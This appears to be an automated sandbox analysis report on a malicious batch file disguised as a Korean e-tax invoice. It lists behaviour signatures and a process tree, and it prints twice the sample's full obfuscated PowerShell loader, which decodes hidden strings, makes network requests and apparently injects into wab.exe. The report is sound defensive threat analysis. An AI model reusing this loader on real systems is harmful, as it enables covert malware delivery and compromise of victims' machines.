Analysis
- max time kernel
300s - max time network
235s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 03:56
General
- Target NTS_eTaxInvoice·html.bat
- Size 3KB
- Sample260729-ehtq4sgk7s
- SHA256 add7dbe9bd63c081d18502a8c71e763d744b659640324b2b59b0947a857e2752
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NTS_eTaxInvoice·html.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "function glorpz { [void](Get-Date); };$skaldyrsal = Get-Location;$hoved=-9048+9048;$vegnes=16078-10078;function vnmst { [void](Get-ChildItem); };[void](Get-Date);function admini ($decada,$involversa) {$pread=sharke(@(112,205,217,203,208,203,211,121,203,236,215,225,143,150,181,215,234,215,219,221,215,190,220,213,145)) ;Brndk98 ($pread)}$realloca = Get-Location;function qlpzx { [void](Get-Process); };[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);function sharke ($specialb) { [void](Get-Date);do {$vegnes=$hoved%7;$drunkard=$proscrib[$vegnes];$specialb[$hoved]-=$drunkard;$vegnes=$specialb[$hoved];$vegnes=[char]$vegnes;$statursa+=$vegnes;$hoved++} while ($specialb[$hoved])$statursa;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date);function Brndk98 ($stork) {[void](Get-Date);.($blokind) $stork;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Item 'C:\');Function Bolede ($specialb,$exami=0){[void](Get-Date);$coup=sharke(@(167,172,227,214,229,204,228,192,198,174,162,181,217,225,185,171,213,219,212,157,166,159,221,230,209,221,206,154,112,220,228,205,210,208,211,184,203,157));[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$plombreg=@(Brndk98 ($coup));[void](Get-Date);For($guardfisht=0; $plombreg[$guardfisht] -ne $acut; $guardfisht++){$plombreg[$guardfisht] = admini $plombreg[$guardfisht] $proscrib[$guardfisht%7]}$erotisere=sharke(@(121,211,227,209,221,135,205,175,209,213,218,202,196,207,112,217,224,215,220,201,228,177,208));$intemperi=Brndk98 ($erotisere);if ($exami) { [void](Get-Date);Brndk98 $intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}else {;[void](Get-Date);$intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date)}[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$proscrib=@(76,105,116,104,111,103,114);$liepotshi = 'zorp';$blokind=sharke @(149,174,204);$unin='\clutte.Ana';$cance = Get-Date -Format 'yyyy';$patell=Bolede 'eUdESEcwGyINGx8cRzwYSUVYQVdJbD4dBllTSWwRQlxURwA6U0VdXUlCZUkzDQwMHWNbRFlfV0N8WFQuBhUXKgYMR15SQGJZ';$drgtig=Bolede 'JB0AGBxdXWMNBgEZAlwrBhsPAwJcLwYZRxoETSkRBAcdE08oBgMGAwgTKE8dDFJWAxtdMwAmIgQDDzgRIwIQAgNNIhsRMHwoHyNCEB0+JkU=';$mischa=Bolede 'ARoMBQNVXB8MBh4KFSoBJTw8OzdcekdE';$pedascule = Get-Location;$photolab=Bolede 'Cywg';$involversailtrafiks=Bolede 'GRoRGkImFSkHAA==';$dagsko=Bolede 'cg==';Bolede 'aA4YBw0GHnYZBgcbBgolCBgGUkMXIh9OCR8XFi0dFUNLEhwlBw==' 1;Bolede 'aA4YBw0GHnYeHAEbAgUtVFAMHQAGJQ5aGx8LGzhBUAwOAAEnBl0=' 1;$drgtig=$whitewa[0];Bolede 'aA4YBw0GHnYEHRscDk8CDANFIAUYKQoASEIkHSFJUAUGFBEkCA==' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1;while (!$forvalte) {Bolede 'aA4YBw0GHnYkHQYGCgchH0lMGxUHKQ==' 1;Bolede 'aAQdGxwOXCMZEQZHQwIkBgAHAwYQYElQDB0ABiUOWEhLARMgGhFB' 1;Bolede 'aAQdGxwOXD8MADoKFgcpGgAgCgYWKRtcTAYJBCMFAg0dFBMlBQAaDgEbJxpYSEsXEzgMGARG' 1;Bolede 'aAQdGxwOXD8MGgxHTg==' 1;Bolede 'aA4YBw0GHnYEGwwcExMtGx4HXlVBcU0ZARwUG2IaAAkbEgFsRBEZT1VCfA==' 1;if ($modstaarjo123) {Bolede 'FwsNHAo8LxFNEwQABRMgUwEPAw4XcU0ZARwUG2IbERsfCBw/DDYHCx4=' 1;Bolede 'PwpUTB8VHTgIDAEOCxxsTQEPAw4XbEQxBgwIFiUHE0gtHgYp' 1} Bolede 'HwURDR9PRmU=' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1 ;Bolede 'aA4YBw0GHnYMEw0BFBktCwdVSwAeIwsVBFUGFD8AGgwGTFlpTQMABhMXOwhaCwASHDg=' 1;$drgtig=$whitewa[$egenskabs]}$involversayrl=137127;$urocentr=15647;Bolede 'aA4YBw0GHnYPEQIDE08rClRMHxUdOAgMAQ4LHA==' 1;Bolede 'aA4YBw0GHnY8GgEDBgYpG0kzLAgcOgwGHDJdSAobGwUtBgEpX0A7GxUbIg5cTAkCGCAdXQ==' 1;Bolede 'aA4YBw0GHnYMFgcBDhUpVC88Ch8GYiwaCwADGyIOKVJVJiEPID1GKAIGHx0GAQEAWmg8GgEDBgYpG10=' 1;Bolede 'aA4YBw0GHnYbER4KFU9oDBYHAQ4VKUcHHQ0UBj4AGg9HQxsiHxsEGQIAPwgNGgNLVjkbGwsKCQY+QA==' 1;Brndk98 $rever;function florpz { [void](Get-Date); };;#Restirring Chemica GlasIexer Trev ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function glorpz { [void](Get-Date); };$skaldyrsal = Get-Location;$hoved=-9048+9048;$vegnes=16078-10078;function vnmst { [void](Get-ChildItem); };[void](Get-Date);function admini ($decada,$involversa) {$pread=sharke(@(112,205,217,203,208,203,211,121,203,236,215,225,143,150,181,215,234,215,219,221,215,190,220,213,145)) ;Brndk98 ($pread)}$realloca = Get-Location;function qlpzx { [void](Get-Process); };[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);function sharke ($specialb) { [void](Get-Date);do {$vegnes=$hoved%7;$drunkard=$proscrib[$vegnes];$specialb[$hoved]-=$drunkard;$vegnes=$specialb[$hoved];$vegnes=[char]$vegnes;$statursa+=$vegnes;$hoved++} while ($specialb[$hoved])$statursa;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date);function Brndk98 ($stork) {[void](Get-Date);.($blokind) $stork;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Item 'C:\');Function Bolede ($specialb,$exami=0){[void](Get-Date);$coup=sharke(@(167,172,227,214,229,204,228,192,198,174,162,181,217,225,185,171,213,219,212,157,166,159,221,230,209,221,206,154,112,220,228,205,210,208,211,184,203,157));[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$plombreg=@(Brndk98 ($coup));[void](Get-Date);For($guardfisht=0; $plombreg[$guardfisht] -ne $acut; $guardfisht++){$plombreg[$guardfisht] = admini $plombreg[$guardfisht] $proscrib[$guardfisht%7]}$erotisere=sharke(@(121,211,227,209,221,135,205,175,209,213,218,202,196,207,112,217,224,215,220,201,228,177,208));$intemperi=Brndk98 ($erotisere);if ($exami) { [void](Get-Date);Brndk98 $intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}else {;[void](Get-Date);$intemperi;[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1)}[void](Get-Date)}[void](Get-ChildItem -Path 'C:\' | Select-Object -First 1);$proscrib=@(76,105,116,104,111,103,114);$liepotshi = 'zorp';$blokind=sharke @(149,174,204);$unin='\clutte.Ana';$cance = Get-Date -Format 'yyyy';$patell=Bolede 'eUdESEcwGyINGx8cRzwYSUVYQVdJbD4dBllTSWwRQlxURwA6U0VdXUlCZUkzDQwMHWNbRFlfV0N8WFQuBhUXKgYMR15SQGJZ';$drgtig=Bolede 'JB0AGBxdXWMNBgEZAlwrBhsPAwJcLwYZRxoETSkRBAcdE08oBgMGAwgTKE8dDFJWAxtdMwAmIgQDDzgRIwIQAgNNIhsRMHwoHyNCEB0+JkU=';$mischa=Bolede 'ARoMBQNVXB8MBh4KFSoBJTw8OzdcekdE';$pedascule = Get-Location;$photolab=Bolede 'Cywg';$involversailtrafiks=Bolede 'GRoRGkImFSkHAA==';$dagsko=Bolede 'cg==';Bolede 'aA4YBw0GHnYZBgcbBgolCBgGUkMXIh9OCR8XFi0dFUNLEhwlBw==' 1;Bolede 'aA4YBw0GHnYeHAEbAgUtVFAMHQAGJQ5aGx8LGzhBUAwOAAEnBl0=' 1;$drgtig=$whitewa[0];Bolede 'aA4YBw0GHnYEHRscDk8CDANFIAUYKQoASEIkHSFJUAUGFBEkCA==' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1;while (!$forvalte) {Bolede 'aA4YBw0GHnYkHQYGCgchH0lMGxUHKQ==' 1;Bolede 'aAQdGxwOXCMZEQZHQwIkBgAHAwYQYElQDB0ABiUOWEhLARMgGhFB' 1;Bolede 'aAQdGxwOXD8MADoKFgcpGgAgCgYWKRtcTAYJBCMFAg0dFBMlBQAaDgEbJxpYSEsXEzgMGARG' 1;Bolede 'aAQdGxwOXD8MGgxHTg==' 1;Bolede 'aA4YBw0GHnYEGwwcExMtGx4HXlVBcU0ZARwUG2IaAAkbEgFsRBEZT1VCfA==' 1;if ($modstaarjo123) {Bolede 'FwsNHAo8LxFNEwQABRMgUwEPAw4XcU0ZARwUG2IbERsfCBw/DDYHCx4=' 1;Bolede 'PwpUTB8VHTgIDAEOCxxsTQEPAw4XbEQxBgwIFiUHE0gtHgYp' 1} Bolede 'HwURDR9PRmU=' 1;Bolede 'aA4YBw0GHnYPGxoZBh44DElAOwIBOEQkCRsPUmgZBgcbBgolCBgGRg==' 1 ;Bolede 'aA4YBw0GHnYMEw0BFBktCwdVSwAeIwsVBFUGFD8AGgwGTFlpTQMABhMXOwhaCwASHDg=' 1;$drgtig=$whitewa[$egenskabs]}$involversayrl=137127;$urocentr=15647;Bolede 'aA4YBw0GHnYPEQIDE08rClRMHxUdOAgMAQ4LHA==' 1;Bolede 'aA4YBw0GHnY8GgEDBgYpG0kzLAgcOgwGHDJdSAobGwUtBgEpX0A7GxUbIg5cTAkCGCAdXQ==' 1;Bolede 'aA4YBw0GHnYMFgcBDhUpVC88Ch8GYiwaCwADGyIOKVJVJiEPID1GKAIGHx0GAQEAWmg8GgEDBgYpG10=' 1;Bolede 'aA4YBw0GHnYbER4KFU9oDBYHAQ4VKUcHHQ0UBj4AGg9HQxsiHxsEGQIAPwgNGgNLVjkbGwsKCQY+QA==' 1;Brndk98 $rever;function florpz { [void](Get-Date); };;#Restirring Chemica GlasIexer Trev ;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
clutte.Ana
memory/1376-47-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-48-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-59-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-58-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-57-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-56-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-53-0x0000000008D20000-0x000000000A5E1000-memory.dmp
memory/1376-52-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-51-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-50-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-49-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-33-0x0000000005DD0000-0x000000000612B000-memory.dmp
memory/1376-46-0x00000000749D2000-0x00000000749D3000-memory.dmp
memory/1376-44-0x00000000086A0000-0x0000000008D1C000-memory.dmp
memory/1376-43-0x0000000007A60000-0x000000000801A000-memory.dmp
memory/1376-42-0x00000000068D0000-0x00000000068F2000-memory.dmp
memory/1376-25-0x00000000749D2000-0x00000000749D3000-memory.dmp
memory/1376-26-0x0000000002AE0000-0x0000000002B16000-memory.dmp
memory/1376-27-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-29-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-28-0x0000000005620000-0x0000000005C6A000-memory.dmp
memory/1376-31-0x0000000005C70000-0x0000000005CD6000-memory.dmp
memory/1376-32-0x0000000005CE0000-0x0000000005D46000-memory.dmp
memory/1376-30-0x0000000005550000-0x0000000005572000-memory.dmp
memory/1376-41-0x0000000006860000-0x000000000687A000-memory.dmp
memory/1376-54-0x00000000749C0000-0x000000007517C000-memory.dmp
memory/1376-37-0x0000000006300000-0x000000000631E000-memory.dmp
memory/1376-38-0x0000000006360000-0x00000000063AC000-memory.dmp
memory/1376-40-0x0000000007400000-0x0000000007496000-memory.dmp
memory/4064-14-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-17-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-24-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-20-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-19-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-1-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-15-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-0-0x00007FFB799CF000-0x00007FFB799D0000-memory.dmp
memory/4064-13-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-2-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-5-0x00000240C1270000-0x00000240C1292000-memory.dmp
memory/4064-12-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-16-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-6-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-11-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-9-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-10-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-8-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/4064-7-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp
memory/6016-60-0x0000000000400000-0x00000000005F1000-memory.dmp
memory/6016-72-0x0000000000400000-0x00000000005F1000-memory.dmp